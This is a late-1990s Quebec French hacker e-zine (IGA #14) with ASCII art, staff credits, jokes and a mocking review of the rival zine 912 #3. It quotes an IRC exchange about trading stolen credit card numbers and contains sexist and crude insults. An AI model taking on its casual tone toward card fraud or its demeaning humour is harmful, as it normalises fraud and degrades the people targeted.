    [   -   i G A - e.zine i.ssue 14 : "Mais ou est bien pus passer le fucking IGA #13?"    -   ]
    [                                                                                           ]
    [   -   Minimum Requirements for reading IGA Ezines:                                        ]
    [                                                                                           ]
    [           -  new Athlon k7-500 with 256 megs pc-100 sdram                                 ]
    [           -  OpenGL 1.2 compliant 3D accelerator card with on-board Geometry              ]
    [           -  At least, 8 gigabytes of HD space left, preferably on a RAID array           ]  
    [           -  28" Energy-Saver Monitor (PNP)                                               ]
    [           -  SB LIVE 256 [to listen to the secret messages inside]                        ]
    

  .------ ---------------- -------.
 | i                              |
 |                        - ------
                                  |            .-----.
                                  |         .-`       `--.
 :                                |       .`              \
 ;                                |      /                 .
 :                                ;     /\                 |
                                  |    / /\               / \
 |                                |   |                      \              .--------.
 |                                |   |                /      \////     .--'        / \
                                  |    \                       ////  .-`           /\  `
 |                                |     `.        _ _/       /\   \ /     \/            \
 |                                ;       \          \     / |    \/       \.-```\       \
 |                                         \          \   /  |  .  \    .-`       \       \
 ;                                :         `--.__ ____\ /   / / \  \  /          (        )\
 |                                ;                 \__| \_./ /   |  \/        __ /\______/ /\____
 |                                |                  /` .    /\   |   )  .--'`    \        /      `.
 `--- -------- ------------- -----'                  /-`-`-`-'/   |  |  /          `.____.'         `\
                                                     `./\/\/\/    |  ; /\                           / \
  .--- ------------ --------- ----.                         /\   /  /  \ \ /                    \  . / |
 |                                |                 /\ /\/\/  \//  /   |\ |     i G +\           |/ / | 
 |                       --- -----                 |  |  |  | .'  /    | \|                      | /  |      
 |                                |                /\_`-'`-.--'  /     |  /                      \/   |     
 |             ___ ___            |               /   `````   .-`      | |                        |   |        
 |            |       |           ;              .         .-`         | |                        |   |
 |            |       ;________ __|             /       .-`            | /                        \   |
 |            |                                `.    .-`              /_/_______________           \  \
              |                                  \.-`                 | :            |  |----------'\__\
 ;            ;                                                       |/             |  |         :    /
 |            |_____ ________ ____                                    |              |__|         |   /
 |            |                   |                                   |              /  \            / 
 |            |                   |                                   |              ;  |            |
              |                   |                                   |              )  ;            |
 |            |                   |                                   |          ____\  /_____       \ 
 |            |_ __ ___           |                                  (_________/______\/______\_______)
 :                                |
 ;                                :                                   
 |                                ;
 |                                |
 |______ _____________ _______ ___|

  .------ --------------- --------.
 | a                              |                           .--------.               .--------.
 |                       ------ --                           /         |     .-----.   |        |
                                  |                         /          |     |     |   |        |   
 |             .--.               |                        /           |     |     |   |        |
 ;             |  |               ;                       /___         |     |     |   |        |
 |             ;  |               |                           |        |     |     |   |        | 
 |             |  |               |                           |        |     |     |   |        | 
 |             |_ |               |                           |  q     |     |     |___|        |_____
 |                                |                     /iga/ |  u     |     |         |        |     |
 |                                |                   .=======|  a     |=====|         |        |     |====.
                 _                |                   `=======|  t     |=====|_________|        |_____|====`
 |             ;  |               |                   `=======|  o     |===============|        |==========`
 |             |  |               :                   '=======|  r     |===============|        |==========.
 |             |  |               ;                   `=======|  z     |===============|        |=========='
 ;             |  |               |                           |  e     |               |        |              
 |             |  ;               |                           |        |       monthly |        | ezine 14
  `-------- ---'  |               |                           |        |               |        |               
  ------- -----.  |               |                         __|        |__             |        |
 |             |  |               |                        |______________|            |________|
 `-------------'  `--- ------ ----' 


     Retard Chronique

     	     he oui, votre IGA est encore en retard, raison? en bien jen ai lister
     quelque une, 

     1) on est pas payer pour faire IGA, tk pas encore :]
     2) on est lache 
     3) on recommence a structurer le crew
     4) on pourrais en sortir 1 par semaine comme QHA, mais on prefere avoir un 
        ezine de qualiter :]
     5) le status voter par le staff IGA nous oblige de prendre une pause biere 
        de 30 minutes apres chaque tranche de 10 minutes sur le zine ... 



 ===================================================================================================
                                                                                       Pub-O-sticker 

                .-.-.-.-.-.-.-.
               /   _____     /| IGA Ezines are 100% fully powered by 
              /   /____/    / |  __  _ ___ _____ ____ ____ ___ ___
             /             /_ | |  \| |   |_   _|  __|  , |   |   \
            /             /__ | |   \ | o | | | |  __|  __| ` | |) |
           /             /___ | |__\__|___| |_| |____|_|  |_|_|___/
          /_____________/____ | w i n d o w s 98 edition  
                | ___________ |                 
                | ___________ |          Kopyright(R) Ms-Evilempire Corp.
                |_____________| 
 

 ===================================================================================================



                        
       .-````````-.       ___    __           __     __
      /     .   '' \     |   \  ,  |         |  |   |  |
     (    '  |      )    |    \ |__|         ;  |   |__,
    _|  `____|____' |_   :     \ __ ____ ____|  |___ __ __  __
    \ \  `=-' `-=' / / --| |\   |  |   _;   _|  |   |  |  \/  |-- --- - - -
     \ /_____`_____\/    ; |_\  :  |_   |  |_|  ; . |  | |\/| :
      ((\._.___._./))    |____+_|+_|__+_|__+_|+_|_|_:__|_|  |_|
      | \  _ _ _  / |  ------- ----------------- -------------- ----- - - -
       \ \/_`_`_\/ /
        \         /
         `-------'
          |     |       Hi readers, vous remarquerez du premier coup d'oeil que           ,
          |  D  |       le e-zine est graphiquement parlant plus remplis que les          .      :
          |             derniers magazines, allez savoir pourquoi, __2 est de retour      `
          |  i  |       askee art. A defaut de nous lires, il vont nous regardez dit-il.  ,       
          ;     |       Nous profitons de se disclaimer pour vous savoir que NON on est   ,      ;
          ;  S  ;       pas mort, quelque peu souffrant oui, mais pas mort. Si le site    :
          ;     ;       web ressemble plus a un ftp directory qu'a une page web c'est     :       
          :  C  ;       qu'on a pas toujours le temps de refaire le site et surtout que   :      :
          :     :       pour cette fois-ci on vise pas mal plus haut que le dernier :)  
             L  :       Donc patience, ce n'est encore qu'une question d'annees ;]        ;
          :                                                                               ;      ;
          ,  A  ,       Quand a se magazine, bien accrochez-vous a quelque part, car      ;      ;
                ,       des maintenant il contient plus de saveur, ca vous en fait plus   ;       
          .  i          a gouter. On ne vous dit pas se qu'il contient car la liste est   |
                        2 pages plus bas c'est tout :). Si vous lisez ceci c'est bien     ;      | 
             M  .       qu'on existe encore, donc sur ca passons au contenu :)            |       
                :       mais avant faut bien vous lires les regles (boring)               |      ;
                `                                                                                |
                `                                                                         |      |
                                                                                          |       
                                                                                          |      |
                         Regles a suivre:                                                 |      |
                                                                             
                                                                                          |      |
                         - Hacker c'est mal, surtout selon la loi, alors si vous          |      |
                           le faite, sentez pas le besoin de le criez sur tout les        |      |
                           toits (toits defini IRC pour pas mal de monde)                 |      |
                                                                                                  
                         - On est pas responsable de se qu'on vous apprend. Et oui        |      |
                           on vous fait le coup de la femme enceinte qui fume pendant     |      |
                           sa grosesse. Je pense que depuis longtemps tout le monde le    |
                           sais qu'on est pas responsable pour une cenne anyway.                  
                                                                                          |      |
                         - C'est frequent , on sait pas trop pourquoi mais certaines      |      |
                           bestioles aiment bien se faire passer pour IGA parce que ca    |
                           flash. S.v.p , jai rien contre le fait que vous nous           |       
                           supportiez mais faites pas se que nous meme nous ne ferions.   |      |
                           Et si dans le cas advenant, mettez donc votre nick :)     

                         - Toute reproduction sur papier, vocalement , encadrer ou        |      |
                           lamin du mag est illegale sans notre concentement. C'est      |
                           pas mal normal. Ca nous permet de voir qui est aussi           |      |
                           crinquer que nous.                                             |      |
                                                                                          |       
                         - Ne lisez pas ce ezine a l'envers, y a aucun message            |      |
                           subliminaux. !rialc utS                                        |      |


                                                                                        .-```````-.
                                      Voici , fini les formalits, next step.          /     .   ''\
                                                                                      (   '  |      )
                                                                                     _| `____|____' |_
                                ---- ------- ------------- ----------------- ------- \ \ `=-' `-=' / /
                                          __ ____ ____ _ _ ____                       \/_____`_____\/
                                         |+ |+  _|+  _|+| |+  _|                      ((\._.___._./)) 
                                - -- --- |  |_   |_   | | |   _|--   =--  =--- -- --  | \  _ _ _  / |
                                         |__|____|____|___|____|                       \ \/_`_`_\/ /
                                                                                        \         /
	                			IGA STAFF                                `-------'


                      Quebec Staff
                      __2:       coding,redaction,marketing 
                      Qwzykx     electronic,redaction,philosophie
                      Wyzeman    coding,redaction,philosophie, marketing
                      Bozzo      reseau,mac,marketing
                      Qderf      coding,bunch of knowledge

                      Montreal Staff
                      Cubic      redaction
                      Synoptic   redaction,linux
                      rew_       redaction,linux

                      Rimouski Staff
                      [XdCC]     hosting,support





                     Vous pouvez venir nous voir sur #IGA, Reseau Undernet et Dalnet. 
                     Vous pouvez nous e-mailer au I_G_A@hotmail.com
                     vous pouvez venir vous saouler avec nous tout les vendredi soir au Kamarad                                                                                         






 ===================================================================================================
                                                                                       Pub-O-sticker 
   
 Qwzykx aurait une requete a passer a quelquun en particulier:

 Si par un fortuit hasard, le gars dans l'fond de l'aile droite du centre psycatrique, OUI toi le 
 skizo, tu pourrais arretez de te branler apres 11h ca serait sympatique, j'aimerais ca pouvoir 
 dormir en  paix. Non mais quand-meme ...

 ===================================================================================================





                      
       .-````````-.       _________        __
      /     .   '' \     |         |      |  |
     (    '  |      )    |         |      ;__|
    _|  `____|____' |_   :__     __:______ __ _______ 
    \ \  `=-' `-=' / / -----|   |    |    ;  |  _|  _|- ------- ------- -- - --
     \ /_____`_____\/       |   |  . |  . |  | |_|_  |
      ((\._.___._./))       |_+_|____|   _|_+|__+|__+|
      | \  _ _ _  / |  ------- ------|__|----------- -------------- ----- - - -
       \ \/_`_`_\/ /
        \         /      Miam,miam regardons se qui a de bon dans cette pizza pochette
         `-------'       electronique se mois-ci.
          |     |                                                                                ,
          |  D  |                                                                         .      :
          |              [001]  llama of 012                             __2              `
          |  i  |        [002]  J'ai poster ma deposition MR'l'juge      Qwzykx                  ,       
          ;     |        [003]  C le dernier jvous le promet             Wyzeman          ,      ;
          ;  S  ;        [004]  C pas si sur que ca =)                   Qwzykx                  :
          ;     ;        [005]  Socket ouvre toi                         Cubic                   :       
          :  C  ;        [006]  Mac est dans windows maridon donder      __2              :      :
          :     :        [007]  apocalypse now                           Qderf                                                                   
             L  :        [008]  le bug de lhumaniter                     Qwzykx           ;
          :              [009]  Je suis un pingouin                      Synoptic         ;      ;
          ,  A  ,        [010]  pas beau pas bon pas chere               Wyzeman          ;      ;
                ,        [011]  VB stryke again                          __2                     ;       
          .  i           [012]  Win2k boot-o-rama                        Qderf            |
                         [013]  Rond Carre triangle, a pi dla marde      Wyzeman          ;      |
             M  .        [014]  jmet dlelium dans ton pc                 Rew_                    |       
                :        [015]  Bomb-O-thon                              Qwzykx           |      ;
                `        [016]  c nowel car il neige dans mon socket     Wyzeman          |      |
                         [017]  dump ass info-pub                        I_G_A                                                  
                                                                                        .-```````-.
                                                                                       /     .   ''\
                                                                                      (   '  |      )
                                                                                     _| `____|____' |_
                                ---- ------- ------------- ----------------- ------- \ \ `=-' `-=' / /
                                          __ ____ ____ _ _ ____                       \/_____`_____\/
                                         |+ |+  _|+  _|+| |+  _|                      ((\._.___._./)) 
                                - -- --- |  |_   |_   | | |   _|--  --= - =--- -- --  | \  _ _ _  / |
                                         |__|____|____|___|____|                       \ \/_`_`_\/ /
                                                                                        \         /
                                                                                         `-------'


 


 ===================================================================================================
                                                                                       Pub-O-sticker 
 <__2> Qwzykx : Chu ben desoler pour toi, mais j'va faire ski me tente, 11h ou pas.
 
 ===================================================================================================







la GRC vous surveilles???
10 truc pour les decouvrirs.

1)  apres  la  parution de votre 14e E-zine ya une echafaudage 
    pour nettoyer vos vitre alors que vous demeurer au sous-sol 

2)  apres  la parution de votre 14e E-zine, Un technitien vien
    verifier votre telephone et y insert un micro.

3)  apres la parution de votre 14e E-zine, Un  plombier  vient 
    verifier le PH de votre eau de toillette.

4)  apres la parution de votre 14e E-zine, vous appercevez une
    caravane avec une skin de truck de poubelle venir fouillez
    vos dechet quotidien. 

5)  apres la parution de votre 14e E-zine, des temoins jehova
    se presente a votre porte a tout les 10 min.

6)  apres la parution de votre 14e E-zine, le bar dans lequelle
    vous allez toujours veillez est maintenant vide mi a par le
    type au lunette fumer assis dans le fond. 

7)  apres la parution de votre 14e E-zine, on construit un dunken
    donut a coter de chez vous. 

8)  apres la parution de votre 14e E-zine, on fait un gros champs 
    de construction deriere chez vous ou tout les travailleurs 
    porte un skin de veston cravate.

9)  pendant la redaction de ce 14e E-Zine, ya 2 gros policier 
    poilu qui se presente a votre porte avec des menotes.

10) pendant le mois suivant la sortie du iga #14, l'ange assis sur 
    le sapin est habiller en bleu et porte une paire de menote






 ===================================================================================================
                                                                                       Pub-O-sticker 
 <Baggy> Hacking is like girls.....when you find hole you have to exploit it.
 
 ===================================================================================================






 ,---------------------------------------------------------------------------------,
 | [001]                                                                           |
 |                              Review of 912 #3                                   | 
 :                                 so called                                       :
 ;                      le gorille qui avait des broches                           :
 ,                                                                                 .
 .                                                                                 
 :

                        88888888888
                       8888888888888             __________
             /\       888888'  `88888       /\  |          |
            //\\.`---------.___.---------'.//\\ |          |
            `  \|          |---|          |/  ' |  .       |
                |     (( o |   | o ))     |     |____      |
                `----------'   `---------'           |     |
                     \ (    (.)    ) /               |     |
                      \/\         /\/                |_____|
                         \ \___/ /
                          \     /                __________   
                         / `...' \              |          |
                        //| we  |\\             |____      |
                       // | lead| \\                _|     |_
                      / \ | the | / \              |_________|
                      \./ |world| \./
                          |_____|                __________
                          | |_| |               |          |
                          | | | |               |____      |
                          |_| |_|                   /     /
                         (__| |__)                 /     /
                                                  /     /__
                 review of 912 by __2            |_________|



     Et  oui, 912 vient de gagner le gros lot, __2 decide d'y apposer
     la pate et du meme coup creer un article sans precedent ;) On se
     rapelle  un  vague  UHA.  Bien  voila, cette article est en fait 
     un  article  a represailles a but offensif. J'ai dernierement lu
     le 912 #003,  en fait j'ai pas tout lus, car peut de choses sont
     vraiment interessantes et enclin a vouloir a tout pris vous donnez
     mon  opinion sur ce groupe et de vous avisez du caractere tantot 
     comique  maintenant nefaste de son contenu j'ai realiser se cour
     article. Qui n'aime pas ses bonnes vieilles guerres ouvertes apres
     tout? 



     On va donc analyser en grand et en large le #3 , tous ensemble.
     Donc le produit X(qui est ici le magazine 912 #3) nous promettais 
     ceci:
     -----------------------------------------------------------------------

     .-------------------------------------------------------------.
     ||;'  _________   ___    ________    ___     ___    _____  ';||
     |;.  .         . /   |  .        .  .   .   .   .  .     ;  .;|
     ;.   |         | |_| |  |   |    |  |   |   |   |  |      ;  .;
     ;    | 0o      |  |  |  |   |    |  |   |   |   |  |       |  ;
     ;    | o0      |  |  |  .___.   /   |   .___.   |  |       |  ;
     ;    ._____    |  |  |     /   /    |    ___    |  |   0o  |  ;
     ;    .-.   |   |  |  |    /   / __  |   .   .   |  |   o0  |  ;
     ;    | .___.   |  |  |   /   / |  | |   |   |   |  |   0o  |  ;
     ;    |         |  |  |  |    |_|  | |   |   |   |  |      ;   ;
     ;    .________.   .__.  ._______./  .___.   .___.  ._____;    ;
     ;     _   _   _    ____   ___   _  _   _   _ ____   _____     ;
     ;    | | | |_| |  / o  | |  _| | |/ / | | | ^    | |     |    ;
     ;    | | |  _  | /  _  | | |_  |  -<  | | |  |   | |o0   |    ;
     ;    | | |_| |_|/__| |_| |___| |_|\_\ |_| |__|___| |___  |    ;
     ;    | |_______________________________________________| |    ;
     ;    |                   DEPARTEMENT                     |    ;
     ;          ;
     ;    Ezine 003                               Novembre 1999    ;
     ;           ______________________________________            ;
     ;          /                                      \           ;
     ;         / Table Des Matires                     \          ;
     ;   -----/                                          \------   ;
     ;   3x00]  [I]ntroduction                            wzGATE   ;
     ;   3x01]  [D]isclaimer                              wzGATE   ;
     ;   3x02]  [F]renquently [R]eceived [E]mail          wzGATE   ;
     ;   3x03]  [A]rggggggggg (encore du chialage)        Pres_Who ;
     ;   3x04]  [L]eon d'[H]ypnose                       Moebius  ;
     ;   3x05]  [T]cp/[I]p  1/3                           Kh3ops   ;
     ;   3x06]  [F]uck [T]hat                             FalConZ  ;
     ;   3x07]  [C]omment [F]aire [D]e [L]'alcool         Kher-Zen;
     ;   3x08]  [T]he [M]rx- [P]roject                    MrX      ;
     ;   3x09]  [M]illenium [P]hreak [F]est               Ribbon   ;
     ;   3x0A]  [E].[S].[N]. [N]umbers                    wzGATE   ;
     ;   3x0B]  [O]rdi-[C]ash                             Cortax   ;
     ;   3x0C]  [C]arding                                 wzGATE   ; 
     ;   3x0D]  [L]a [S]curit [S]ous [W]in [N]T         Wingaman ; 
     ;   3x0E]  [912] [W]orld [N]ews                      Klauss   ; 
     ;   -----\__________________________________________/------   ;
     ;                                                             ;
     ;     ______     _____________________________                ;
     ;.    912HD |   | www.hackingdepartement.com                 .;
     |;.     003 |   | 912hd@caramail.com                        .;|
     ||;_________________________________________________________;||
     ._____________________________________________________________.
 
     Bon deja ils ont un point, le ascii se cut-paste mieux que ceux de
     feu-frhack :) Mais jetons plutot un regard approfondis sur le contenu
     (jen connais ici qui me voyais venir et dans un dernier souffle essayais
     de retenir le plus longtemps possible l'objet de se texte afin de ne
     jamais y arriver).

      _____________________________________________________________
     ;   3x00]  [I]ntroduction                            wzGATE   ;
      `````````````````````````````````````````````````````````````

     Bienvenue chers lecteur dans le merveilleux monde du notepad,
     la ou l'on ecrit librement l'information  que vous allez pour
     la plupart assimile d'ici les prochaines heures.  Au courant
     des lignes qui suivent,  ces lignes renferment le rsultat de
     un mois complet de travail et d'apprentissage. Voil sur quoi
     repose  l'avantage d'tre  une grosse  quipe.  Plus on a une
     grosse  quipe et plus l'information arrive rapidement.  Pour
     notre part, nous n'avons pas une trs grosse quipe mais elle
     s'agrandit quand mme assez vite.Donc on peut parier que plus
     les  Ezines  vont sortir  et plus il y aura  d'information  a
     chaque fois.  Si vous voulez  participer  nos zines, je vous
     rpte encore une fois que vous tes les bienvenue.

    --- WzGATE aurait-il ete a la meme ecole de d'intro fast-food
        que Wyzeman? C'est a se meprendre. Vous savez , l'impression
        que ca l'air interresant et bien foutu. Juste avant le contenu
        reel qui nous decois plus souvent qu'autrement.

        Mais bon, on aurait pus voir pire, on aurait pus voir la
        naissance prequaire d'un vrai groupe de hacking, mais no sight.




      _____________________________________________________________
     ;   3x00]  [D]isclaim                                wzGATE   ;
      `````````````````````````````````````````````````````````````
      4- Tout ceux qui  liront ce Ezine accumulerons une dette de 1
         pichet de bire au kamarad envers wzGATE.

     --- On amene un kid dans un bar ou il sait qu'il n'a aucune
         chance de se faire carter et paf on se fait voler nos idees.
    
         Bon jusqu'ici, il faut l'avouer c'etait sans aucun doute 
         plutot une bataille d'opinions. Maintenant passons au dit
         "contenu".




      _____________________________________________________________
     ;   3x02]  [F]renquently [R]eceived [E]mail          wzGATE   ;
      `````````````````````````````````````````````````````````````

       _________________________________         ____
      | ____   ____   ____             |      __(____)
      ||    | |    | |    | |---------||        (o   |    ???????
      ||   p| |   p| |   p| | MailBox ||        /_   |  < ???????
      ||____| |____| |____| |  _____  ||         |_  |    ???????
      | ____   ____   ____  | |_____| ||         __| |__      
      ||    | |    | |    | |         ||   ! ___|       |___ !
      ||   p| |   p| |   p| |_________||   B|_____|   |_____|B
      ||____| |____| |____| |         ||         |     |    
      | ____   ____   ____  |         ||         |_____|
      ||    | |    | |    | |         ||         /  _  \
      ||   p| |   p| |   p| |      p  ||        /  / \  \
      ||____| |____| |____| |_________||        | |   | |
      |--------------------------------|       c|_|   |_|c
                                              (___|   |___)


      ps: ca fallais jle mette, ca me rapelle mes debuts en TheDRAW,
          quand je fesais tout mon design en Rainbow-Rounded Fonts.


     ---  
          Le titre en dit beaucoup, si on comprend bien , on s'appercoit
          qu'il s'y cache un grotesque jeux de mot. 


     quoted from 912#003:

     Comme  je  vous   ai  dj    prsenter  cet   article   dans 
     l'introduction, commenons  d'abord  par  les  questions  qui 
     m'on t  envoyes paremail.


     --- 
        Lets Go Wzgate, tu pourrais simplement dire, voici les mails
        que nous avons pus ramasser en 3 mois , ca aurait mieux parus.
        Anyway il y a des choses que tout le monde sait, comme comment
        grossir son mag en ajoutant des mails. Taurais pus en profiter
        pour ajouter les headers incognitos, et mettre 2-3 files en
        attach MIME64 :) 

        Moi j'invente la technique "past other ezines inside" qui est a
        mon avis plus valorisantes. Bon a la toute fin de la section,
        WZGATE (en passant c'est lui dans le logo du debut :)) rend
        de facon humble le mot-de-passe du site www.q-h-a.com. Combien
        ici pense que 912 a hacker de facon complexe et elite www.q-h-a.com ?
        Il ne faut pas perdre de vue que ce n'est qu'un URL Web. Et encore
        moins qu'il ne s'agissent que d'un REDIRECT. Si par exemple demain
        matin j'enregistre Come.to/eleete qui pointe sur mon site, comment
        compliquer pensez-vous que ca soit d'envoyez une lettre a come.to  
        pour dire que mon site web a demenager a www.hackingdepartment.com ? :}
 



      _____________________________________________________________
     ;   3x02]  ARRRRRRGGGGGGGGgggggggggg                 Pres_who ;
      `````````````````````````````````````````````````````````````

     quoted:

     Suite a mes derniere heure vecu avec les etron de video etron 
     je n'est pu m'empecher de dire mon opignion sur cette gang de 
     moron  ki connaise rien mais rien a  l'informatique alors ...

     ---
       On pourrait casiment utiliser ca contre lui , sans aucun 
       chagrins.
  
       44 sacres/jurons/impolitesses ont ete rpertorier dans son
       torchon(article)

       219 mots incomprenhisbles ont ete rpertorier dans son 
       torchon(torchon).

     Preface:

         Un ptit kid veut allez sur irc pis flooder plus vite
         alors il croit qu'avec un modemcable il va pouvoir
         flooder 100 fois plus comme si le ratio c'etait client
         side :) Ou encore il veut allez plus vite pour downloader
         plus vite du stuff qui ne fonctionnera pas sur son 486.
         On peut voir qu'il est en modit contre le service, qu'il
         pourra pas se faire rembourser et qu'anyway on sen sacre
         son pere paye toute ca. 


       Je sais pas si vous etes de mon avis mais vous avez deja vu
       Pres_who dire quelque chose qui se tiens? Dans le sens un 
       opinion qui est a lui sans etre completement stupide? Je doute
       fort du jour ou cela va se produire. Voici quelques exemples
       typiques:

    "Le lendemin matin  je ouvre  mon winamps  et  ben pu  de  son 
     internet va bien  fait plaint de test  et je tombe malade peu 
     pu aller a lecole :) tk je me  retrouve si po a etre oubliger 
     de reparer mon ordi. je decide de faire une operation a coeur 
     ouvert...  enleve  ma carte de son  et pis  je me rend  ti po 
     conte  ke le  gars  de menchomedi  a fais  saute ma carte  de 
     son/modem(sa meme carte) clap clap clap clap clap.  sa c fort 
     faire sauter une carte en  windose.  jaurai compris  sa aurai 
     ete sous unix ou un serveur NetWare mais linux c pissant.Donc
     je check dans le ti-boutin ke les  police utilise  pour  nous
     taper dessus kan on est po fin. et je trouve le # de losserm-
     edia."

       Bon avant de lire ca, on va le traduire en francais:

     "Le lendemain matin, j'ouvre mon WinAmp et je m'appercois que je
     n'ai plus de son, 10 minutes plus tard je m'interroge sur l'utilisation
     du bouton POWER de mes caisses de sons. Mon internet va bien, je fais
     plein de test avec mon trousseau 7thsphere. J'aurais du tomber malade
     pour pouvoir rester sur Internet et pas allez a l'ecole mais chez-nous
     ma mere fait tellement pas de suivi sur ma personne(on comprend maintenant
     le resultat) que j'va faire comme d'habitude. Donc , maudine j'va etre
     obliger de reparer mon ordinateur. Je commence par aller fermer les
     breakers dans l'appart et j'apelle mon cousin pour qu'il mouvre le
     boitier, j'ai quand meme peur de faire sauter mon ordi avec la 
     statique. Surtout que je dors dans des draps sants. Une fois le boitier
     ouvert ( a laide d'un marteau ) je me rend compte que mon tournevis
     a legerement perforer ma carte de son qui est en fait une carte
     VOICE MODEM. J'applaudis et je met ca sur la faute d'une compagnie
     locale d'installation de modemcable.  Il faut pas etre fort pour que
     cela arrive sous windows [meme eteint], j'aurais pus comprendre si
     cela aurait arriver sous linux ou un serveur MS-DOS. Mais Linux
     quand meme, on sait jamais avec redhat6. Alors je check dans l'annuaire
     et aider de mon cousin je fini par trouver le numero du 411 et ainsi
     je deniche le numero de la compagnie."

     Ca fait tjours du bien de corriger et de decoder son language, ca
     devient plus lisible. Ici se qui est le plus desopilant c'est la
     question hardware de son probleme. Comme si un OS peut briser une
     carte de son. Je doute fortement que dans son cas a lui ce fut
     plutot un VOICE MODEM, au derniere nouvelles un voice modem ne
     permet pas le playback de mp3.


     Une derniere exemple? (Faut pas sattarder non plus, ca finira pus)

     quoted -
     "japelle pour parler au gars ki est vnu che nous.JAI RIE
     DE LUI PIS I MA RACROCHER AU NEZ LE MAUDINE. "

     ---

       Vous en connaisez beaucoup vous du monde qui vont dire:
       "Merci monsieur, veuillez continuer cela me plait" ?

       Autant les USA ne deal pas avec les terroristes que les
       petites compagnies ne deals pas avec les parfaits imbeciles...


      _____________________________________________________________
     ;   3x04]  [L]eon d'[H]ypnose                       Moebius  ;
      ``````````````````````````````````````````````````````````````
     quoted:---

     _[Re-exemple: celui d'un de hacker]:


     .Comme  on vient de  le dire vous tes un hacker et  puis 
     vous vous faites buster  malgr toute  les  prcautions que 
     vous aviez prise.


     --- Un hacker va perdre son temps a lire ca? JE crois pas.




      _____________________________________________________________
     ;   3x06]  [F]uck [T]hat                             FalConZ  ;
      `````````````````````````````````````````````````````````````

     quoted---

      Ceci n'est pas un nouvel article sur  le hacking, vu que j'y
      connais rien (pas encore!). Je vais  plutot vous  parler  de
      l'underworld en gnral. Et de ce qui risque de vous arriver
      si  vous vous  faites buster.  Je parle par exprience ayant
      deja  t deux  fois  en  prison  (Hh)   Pourquoi?  Trafic
      d'hroine! Combien  de  temps?  La 1 fois 5 mois  et  la 2 
      14 mois.  Vous  allez me  dire c pas  beaucoup  mais  a m'a
      suffit merci! Avant je ne m'intressais pas aux  ordinateurs
      jusqu' ce qu'un pote en taule  m'explique toute  les belles
      choses que l'on  peut faire avec  un pc comme le carding par
      exemple  hh .  Depuis  je  suis   passionn !  Comme   par
      enchantement  hh. Bon  passons  aux  choses srieuses.  La
      premire chose  quand vous vous  faites buster: ne dites pas
      un mot.  Vous  devez  vous dire : bien  sur c pas dur. 


     ---

       Le mec a ete en prison pour vente d'heroine, disons donc les
       choses comme elles sont, le mec a 15 ans et il a fait 3 mois
       en centre parce que la DPJ a ete aviser par son ecole de son
       reseau de vente de stupefiant, quand on parle de stupefiant on
       parle de marihuana biensur. Le trafic d'heroine n'entraine que
       5 mois de detention ? Il y a quelque chose qui cloche je crois.
       Il est fiere de son exploit le petit, mais il a compris selon
       ses dires. Il a compris quoi? peu a mon avis. Oh non ici cest
       le cas typique de l'erreur humaine. Quelquun lui a dit que sur
       son MAC il pouvait s'autocarder sa propre carte de credit.
       Biensur a notre plus grand malheur il est passioner, zzzzzz.
       Se faire buster cest pas dure? Moi je crois qu'avant quon se
       mette a vous jugez comme etant un enemi de la societ vous allez
       devoir en faire du carding...


      _____________________________________________________________
     ;   3x07] L'alcool maison                            FalConZ  ;
      `````````````````````````````````````````````````````````````

     Le mec a vu son pere faire son propre vin, il a passer une soiree
     au bunker(squat) a montreal et le voici maintenant de retour en
     tant que grand-distilleur.... La farce est omnipresente.



      _____________________________________________________________
     ;   3x08] The MRX Project                               MrX  ;
      `````````````````````````````````````````````````````````````
 
     Son article serait plutot un "how to arouse some lifetypes".
     Le gars en gros se prend pour Nietchz et nous fait avalez que
     le soir il relis ses logs de discution pour mieux en apprendre
     sur ses compagnons de jeux. Faut dire que relire ses logs y
     faut etre moyennement timbrer et a chaque soir on en parle meme
     pus. C'est dailleurs le meme gars qui nous croyais de la GRC, 
     nous IGA. On doit surement le prendre comme un compliment surtout
     venant de lui. Ce fut de loint l'article qui ma fait le plus rire.
     Il est comique de voir le resultat d'une personne qu'on place
     plus que 2h devant un ordinateur avec notepad d'ouvert. Il a
     reinventer le monde a lui tout seule. Il ne faut pas oublier
     que grace a lui le social enginering vient d'etre decouvert.
     Comme si ce millieu aurait besoin de quelquun pour se l'enseigner.

     Quand a moi le social enginering fiterais plus avec le slogan de
     microsoft: "Jusquou seriez vous pres a allez".




      _____________________________________________________________
     ;   3x09] The millenium Freak Fest                    Ribbon  ;
      `````````````````````````````````````````````````````````````

     quoted---

          Quesque c'est que ce Millenium Phreak Fest???
          Eh bien, le millenium phreak fest s'est une ide comme une
          autres  de 912HD afin de faire  bouger un peu la scne qui
          semble enfin se rveille.

     ---
 
       REPONSE: On va faire des coups de telephone full hot entre
                kiddies pis on va rire de notre voix ouhahahahahah

       Si ca stun projet et non pas une blague, j'aime mieux pas
       en savoir plus sur tout les autres projets.


      _____________________________________________________________
     ;   3x10] ESN listing                                wzgate   ;
      `````````````````````````````````````````````````````````````


     Il vous donne un information... ...que vous ne pourrez pas utiliser


      _____________________________________________________________
     ;   3x11] Comment fourrer le peuple                 CorTax    ;
      `````````````````````````````````````````````````````````````

     Je crois que ta reinventer l'art de la vente des ordinateurs,
     notre ami Cortax travaille justement pour une compagnie de vente
     en informatique. Bizarre mais son texte vient de me donner le 
     gout de commander mon ordi d'un autre vendeur :) CorTax on ten
     veux pas, je suis sure que ta methode est utiliser par tout
     le monde. On a juste a penser a Info-click.



      _____________________________________________________________
     ;   3x12] CC again, y a juste ca qui existe, oui oui    WzGate;
      `````````````````````````````````````````````````````````````

     Quoted:---

     Session Start: Wed Nov 03 18:31:56 1999
     [18:31] Session Ident: CracKeR23 (~UGOD@as10-3.brunet.bn)
     [18:31] <CracKeR23> do u have a cc??
     *J'arrive  peine sur le canal et dj une fauve tente de
     *m'extorquer des CC
     [18:32] <wzGATE> yeah
     [18:32] <CracKeR23> do u wanna trade??
     [18:32] <wzGATE> what do u have
     [18:32] <CracKeR23> mc
     [18:33] <wzGATE> hum McDO?
     *hehehe
     [18:33] <CracKeR23> master card
     [18:33] <wzGATE> why do u want to trade CC for CC?
     [18:34] <CracKeR23> i want visa
     [18:34] <wzGATE> why?
     [18:34] <CracKeR23> cause i need to use visa 
     [18:34] <wzGATE> why?
     [18:34] <wzGATE> why dont u use mc
     *Le gars  dj une mastercard mais il veut une visa...
     *scuse mais ya de quoi de louche!
     [18:35] <CracKeR23> it doesn';t accept mc
     [18:35] <wzGATE> cause your MC isn't valid
     [18:35] <wzGATE> stupid dumb asss
     *Voila... le chat sort du sac c'est vraiement un cave
     --- 

       En passant comme ca, Visa passe pas partout, MC non plus. 
       Messemble que si on voit ca comme ca, le mec a raison non ?
       Bravo a WzGATE qui juge si bien les gens. Il viens encore
